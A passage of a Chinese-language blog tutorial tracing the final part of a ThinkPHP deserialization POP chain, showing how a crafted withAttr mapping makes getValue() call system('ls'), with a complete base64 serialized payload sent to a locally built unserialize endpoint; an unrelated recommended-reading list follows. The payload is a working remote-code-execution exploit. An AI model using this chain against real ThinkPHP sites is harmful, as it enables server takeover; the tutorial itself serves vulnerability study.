protected function getValue(string $name, $value, $relation = false){ echo "进入getValue函数!!!!<br>"; // 检测属性获取器 $fieldName = $this->getRealFieldName($name); //$fieldName='axin' $method = 'get' . Str::studly($name) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); } if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } else { echo "到达代码执行触发点!!!<br>"; $closure = $this->withAttr[$fieldName]; //这里的withAttr = ["axin"=>"system"] $value = $closure($value, $this->data); } } elseif (method_exists($this, $method)) { xxxxxx } elseif (isset($this->type[$fieldName])) { xxxxx } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) { xxxx } elseif ($relation) { xxxxxxxxxx } return $value;}
这里顺序执行,默认会执行到
$closure = $this->withAttr[$fieldName]; //这里的withAttr = ["axin"=>"system"] ,$filedName='axin'$value = $closure($value, $this->data);//最终执行system("ls", ["axin"=>"ls"])
可以看到最终是执行了system("ls", ["axin"=>"ls"]),而system函数第二个参数是可选的,也就是这种用法是合法的
注:
system ( string $command [, int &$return_var ] ) : string
参数
command
要执行的命令 。
return_var
如果提供 return_var 参数,则外部命令执行后的返回状态将会被设置到此变量中 。至此,Tp5.6.x的pop链后半段也结束了 。剩下的就是完善刚刚前半段POP链构造的poc了,成品也就是我最开始贴出来的那个,最后看一下我本地调试的效果,当然在调试过程中需要自己构造一个反序列化点,我直接在Index控制器中构造了一个新方法反序列化$_GET[p]:
文章插图
然后请求/public/index.php/index/unser?p=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7czowOiIiO3M6OToiACoAc3VmZml4IjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJheGluIjtzOjI6ImxzIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NDoiYXhpbiI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBzdWZmaXgiO3M6MDoiIjtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjQ6ImF4aW4iO3M6MjoibHMiO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJheGluIjtzOjY6InN5c3RlbSI7fX0%3D,可以看到成功执行ls命令,其他那些乱七八糟的输出是我调试是自己echo的,大家在编写反序列化poc时也可以这样一点点确定自己写对了没 。
推荐阅读
- 教你编译一个基于arm的Linux内核,并用qemu模拟器测试
- 教你编写你的第一个Linux 内核模块“hello_module”
- 黑客全家桶、文字提取利器、深度学习 500 问 | GitHub 热点速览
- 要给五脏及时排毒 教你穴位按摩排毒法
- 柑普茶怎么煮,教你若何更好冲泡柑普茶
- 柑普茶的饮用方法,教你若何更好冲泡柑普茶
- 看好你的系统,小心黑客来“挖矿”!
- 黑客界决战紫禁之巅 你盗我8225份数据库 我公布你的真实身份
- 压缩包的密码藏在哪?老司机教你揪出RAR密码
- 教你如何快速开发一个Dubbo应用